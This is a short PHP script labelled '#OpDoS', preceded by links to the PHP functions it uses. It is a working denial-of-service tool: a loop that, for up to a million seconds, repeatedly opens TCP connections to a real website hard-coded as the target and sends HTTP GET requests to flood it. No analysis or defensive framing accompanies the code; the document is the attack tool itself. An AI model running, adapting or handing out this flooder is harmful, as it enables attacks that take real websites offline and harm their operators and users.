- mktime: documentation ( source)
- parse_url: documentation ( source)
- date: documentation ( source)
- fsockopen: documentation ( source)
- fclose: documentation ( source)
- fwrite: documentation ( source)
<?php
//Configs
$config = array
(
'URL' => 'http://www.stadtlist.at/', // URL of the target
'Limit' => 1000000, // how many sec/visit
// Do not edit this...
'Version' => '1.0.0.0'
);
//End of Configs
$iTimeStamp = mktime();
$vString = '>##########################################################################'."\n <br>";
$vString .= '> #OpDoS v'.$config['Version']."\n <br>";
$vString .= '>'."\n <br>";
$vString .= '> URL: '.$config['URL']."\n <br>";
$vString .= '> Limit: '.$config['Limit'].' sec'."\n <br>";
$vString .= '>'."\n <br>";
$vString .= '> Started: '.date("h:m:s (d-M-Y)",$iTimeStamp)."\n <br>";
$vString .= '>##########################################################################'."\n <br>";
echo $vString;
while (true) {
_HTTP_Connect($config['URL']);
if ((mktime()-$iTimeStamp)>$config['Limit']) {break;}
}
echo '> Finished: '.date("h:m:s (d-M-Y)",mktime());
function _HTTP_Connect($vURL) {
$pURL = parse_url($vURL);
$iPort = isset($pURL['port']) ? $pURL['port']:80;
$TCPSocket = fsockopen($pURL['host'],$iPort);
$TCPPacket = 'GET ' . $pURL['path'] . " HTTP/1.0\n";
$TCPPacket .= 'Host: ' . $pURL['host'];
$TCPPacket .= "\n\n";
fwrite($TCPSocket,$TCPPacket);
fclose($TCPSocket);
}
?>